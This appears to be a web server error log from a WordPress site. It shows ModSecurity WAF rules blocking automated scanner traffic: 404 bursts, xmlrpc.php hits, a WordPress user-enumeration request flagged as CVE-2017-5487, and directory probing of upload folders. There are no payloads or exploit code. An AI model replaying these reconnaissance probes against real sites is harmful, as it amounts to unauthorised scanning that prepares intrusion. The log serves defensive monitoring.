[Tue Feb 03 10:00:08.421314 2026] [:error] [pid 5229:tid 5239] [client 91.65.123.43:45837] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aYFWqEKmEgmJub93yUr1PAAAAYg"]
[Tue Feb 03 10:00:10.501530 2026] [:error] [pid 5229:tid 5247] [client 91.65.123.43:47067] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "aYFWqkKmEgmJub93yUr1QQAAAZA"]
[Tue Feb 03 10:00:12.415867 2026] [:error] [pid 5229:tid 5248] [client 91.65.123.43:8302] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aYFWrEKmEgmJub93yUr1RwAAAZE"]
[Tue Feb 03 10:00:14.341488 2026] [:error] [pid 42921:tid 42976] [client 91.65.123.43:34902] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "aYFWroblShffGl-01ofUIgAAAFI"]
[Tue Feb 03 10:00:16.404782 2026] [:error] [pid 5229:tid 5244] [client 91.65.123.43:50468] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "aYFWsEKmEgmJub93yUr1UAAAAY0"]
[Tue Feb 03 10:00:18.356652 2026] [:error] [pid 42920:tid 42934] [client 91.65.123.43:37445] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "aYFWsiix3YKltG4EU0ngHwAAAAU"]
[Tue Feb 03 10:00:20.531082 2026] [:error] [pid 43028:tid 43039] [client 91.65.123.43:58683] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "aYFWtFnHWnJD4cJC5DvmNQAAAMk"]
[Tue Feb 03 10:00:22.755504 2026] [:error] [pid 5148:tid 5168] [client 91.65.123.43:3429] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "aYFWtr83HCHLtUIbS7IVcwAAAVE"]
[Tue Feb 03 10:00:24.963210 2026] [:error] [pid 5148:tid 5164] [client 91.65.123.43:32884] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aYFWuL83HCHLtUIbS7IVdgAAAU0"]
[Tue Feb 03 10:01:07.770431 2026] [:error] [pid 43028:tid 43035] [client 91.65.123.43:13372] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yakuza%20slot.aspx"] [unique_id "aYFW41nHWnJD4cJC5DvmXwAAAMU"]
[Tue Feb 03 11:57:34.300437 2026] [:error] [pid 42921:tid 42978] [client 66.70.178.228:59356] [client 66.70.178.228] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 66.70.178.228, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYFyLoblShffGl-01of1NwAAAFQ"]
[Tue Feb 03 13:14:20.619894 2026] [:error] [pid 5148:tid 5170] [client 103.77.107.204:50569] [client 103.77.107.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aYGELL83HCHLtUIbS7JZcwAAAVM"]
[Tue Feb 03 14:13:25.757095 2026] [:error] [pid 5148:tid 5165] [client 37.27.119.185:63304] [client 37.27.119.185] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aYGSBb83HCHLtUIbS7JtkAAAAU4"], referer: https://www.reddit.com/r/todayilearned
[Tue Feb 03 14:13:26.442669 2026] [:error] [pid 42920:tid 42934] [client 37.27.119.185:63818] [client 37.27.119.185] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aYGSBiix3YKltG4EU0kh8QAAAAU"], referer: https://www.usatoday.com
[Tue Feb 03 14:30:59.798018 2026] [:error] [pid 5148:tid 5156] [client 51.75.128.81:56474] [client 51.75.128.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "aYGWI783HCHLtUIbS7Jz-QAAAUU"]
[Tue Feb 03 14:31:02.175741 2026] [:error] [pid 42922:tid 42988] [client 51.75.128.81:37514] [client 51.75.128.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "aYGWJmazX4WPS_dQRkg9RwAAAIM"]
[Tue Feb 03 14:31:04.586144 2026] [:error] [pid 5229:tid 5241] [client 51.75.128.81:37524] [client 51.75.128.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aYGWKEKmEgmJub93yUprcQAAAYo"]
[Tue Feb 03 14:31:08.732914 2026] [:error] [pid 28720:tid 28726] [client 51.75.128.81:44832] [client 51.75.128.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/robots.txt"] [unique_id "aYGWLGmRXm2bmr_sYiZuNwAAAQQ"]
[Tue Feb 03 14:31:12.714766 2026] [:error] [pid 5229:tid 5234] [client 51.75.128.81:44846] [client 51.75.128.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/robots.txt"] [unique_id "aYGWMEKmEgmJub93yUpregAAAYM"]
[Tue Feb 03 15:09:20.089871 2026] [:error] [pid 5229:tid 5251] [client 185.199.223.39:52548] [client 185.199.223.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.199.223.39, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYGfIEKmEgmJub93yUp6YgAAAZQ"]
[Tue Feb 03 15:47:04.606613 2026] [:error] [pid 5229:tid 5254] [client 118.68.96.115:57005] [client 118.68.96.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 118.68.96.115, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYGn-EKmEgmJub93yUqJAQAAAZc"]
[Tue Feb 03 16:09:54.685582 2026] [:error] [pid 42922:tid 42993] [client 136.118.123.44:54086] [client 136.118.123.44] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.118.123.44, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYGtUmazX4WPS_dQRkhUggAAAIg"]
[Tue Feb 03 16:09:58.171706 2026] [:error] [pid 42922:tid 42995] [client 136.118.123.44:54086] [client 136.118.123.44] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aYGtVmazX4WPS_dQRkhUiwAAAIo"]
[Tue Feb 03 16:09:59.626051 2026] [:error] [pid 42922:tid 42988] [client 136.118.123.44:54086] [client 136.118.123.44] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.118.123.44, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYGtV2azX4WPS_dQRkhUjgAAAIM"]
[Tue Feb 03 16:10:01.468978 2026] [:error] [pid 42922:tid 43003] [client 136.118.123.44:59442] [client 136.118.123.44] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.118.123.44, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYGtWWazX4WPS_dQRkhUmQAAAJI"]
[Tue Feb 03 16:10:03.515709 2026] [:error] [pid 28720:tid 28730] [client 136.118.123.44:61815] [client 136.118.123.44] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.118.123.44, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYGtW2mRXm2bmr_sYiaHwQAAAQg"]
[Tue Feb 03 16:10:05.340613 2026] [:error] [pid 43028:tid 43043] [client 136.118.123.44:61809] [client 136.118.123.44] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.118.123.44, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYGtXVnHWnJD4cJC5DtN2wAAAM0"]
[Tue Feb 03 16:10:07.211005 2026] [:error] [pid 5148:tid 5156] [client 136.118.123.44:62229] [client 136.118.123.44] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.118.123.44, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYGtX783HCHLtUIbS7KSjwAAAUU"]
[Tue Feb 03 16:10:07.211170 2026] [:error] [pid 5148:tid 5156] [client 136.118.123.44:62229] [client 136.118.123.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 136.118.123.44, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYGtX783HCHLtUIbS7KSjwAAAUU"]
[Tue Feb 03 17:44:21.568464 2026] [:error] [pid 5148:tid 5175] [client 43.167.241.46:41102] [client 43.167.241.46] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aYHDdb83HCHLtUIbS7KragAAAVg"]
[Tue Feb 03 17:46:27.524025 2026] [autoindex:error] [pid 5229:tid 5237] [client 149.102.230.131:55670] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Feb 03 17:46:27.824958 2026] [autoindex:error] [pid 5229:tid 5254] [client 149.102.230.131:55670] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Feb 03 17:46:28.139068 2026] [autoindex:error] [pid 5229:tid 5251] [client 149.102.230.131:55670] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/ID3/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Feb 03 17:46:29.712145 2026] [autoindex:error] [pid 5229:tid 5241] [client 149.102.230.131:55670] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/IXR/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Feb 03 17:46:30.031271 2026] [autoindex:error] [pid 5229:tid 5249] [client 149.102.230.131:55670] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/Requests/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Feb 03 17:46:30.346469 2026] [autoindex:error] [pid 5229:tid 5231] [client 149.102.230.131:55670] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/SimplePie/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Feb 03 17:46:30.677777 2026] [autoindex:error] [pid 5229:tid 5253] [client 149.102.230.131:55670] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/Text/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Feb 03 17:46:38.407326 2026] [autoindex:error] [pid 5229:tid 5238] [client 149.102.230.131:55670] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/Text/Diff/Renderer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Feb 03 17:46:39.252234 2026] [autoindex:error] [pid 5229:tid 5242] [client 149.102.230.131:55670] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/certificates/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Feb 03 17:46:39.557940 2026] [autoindex:error] [pid 5229:tid 5245] [client 149.102.230.131:55670] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/customize/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Feb 03 17:46:39.857348 2026] [autoindex:error] [pid 5229:tid 5241] [client 149.102.230.131:55670] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/fonts/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Feb 03 17:46:40.156340 2026] [autoindex:error] [pid 5229:tid 5249] [client 149.102.230.131:55670] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Feb 03 17:46:45.258939 2026] [autoindex:error] [pid 5229:tid 5255] [client 149.102.230.131:55670] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Feb 03 17:46:52.028596 2026] [:error] [pid 5229:tid 5233] [client 149.102.230.131:55670] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/web/"] [unique_id "aYHEDEKmEgmJub93yUq1LwAAAYI"]
[Tue Feb 03 17:46:52.615049 2026] [:error] [pid 42922:tid 43004] [client 149.102.230.131:36086] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/web/"] [unique_id "aYHEDGazX4WPS_dQRkhpOwAAAJM"]
[Tue Feb 03 17:46:53.286158 2026] [:error] [pid 42922:tid 42999] [client 149.102.230.131:36088] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/web/"] [unique_id "aYHEDWazX4WPS_dQRkhpPAAAAI4"]
[Tue Feb 03 17:46:53.875474 2026] [:error] [pid 42921:tid 42982] [client 149.102.230.131:36096] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/web/"] [unique_id "aYHEDYblShffGl-01odHmQAAAFg"]
[Tue Feb 03 17:46:54.569162 2026] [:error] [pid 43028:tid 43041] [client 149.102.230.131:36110] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uploads/"] [unique_id "aYHEDlnHWnJD4cJC5DtjGwAAAMs"]
[Tue Feb 03 17:46:55.157836 2026] [:error] [pid 43028:tid 43045] [client 149.102.230.131:36126] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uploads/"] [unique_id "aYHED1nHWnJD4cJC5DtjHgAAAM8"]
[Tue Feb 03 17:46:55.756323 2026] [:error] [pid 5229:tid 5250] [client 149.102.230.131:36130] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uploads/"] [unique_id "aYHED0KmEgmJub93yUq1MAAAAZM"]
[Tue Feb 03 17:46:56.366585 2026] [:error] [pid 42921:tid 42969] [client 149.102.230.131:36140] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uploads/"] [unique_id "aYHEEIblShffGl-01odHmgAAAEs"]
[Tue Feb 03 17:46:56.971362 2026] [:error] [pid 43028:tid 43043] [client 149.102.230.131:36156] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/upload/"] [unique_id "aYHEEFnHWnJD4cJC5DtjIgAAAM0"]
[Tue Feb 03 17:46:57.622665 2026] [:error] [pid 28720:tid 28730] [client 149.102.230.131:39924] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/upload/"] [unique_id "aYHEEWmRXm2bmr_sYiadqgAAAQg"]
[Tue Feb 03 17:46:58.238381 2026] [:error] [pid 43028:tid 43042] [client 149.102.230.131:39932] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/upload/"] [unique_id "aYHEElnHWnJD4cJC5DtjJQAAAMw"]
[Tue Feb 03 17:46:58.861812 2026] [:error] [pid 43028:tid 43054] [client 149.102.230.131:39934] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/upload/"] [unique_id "aYHEElnHWnJD4cJC5DtjKAAAANg"]
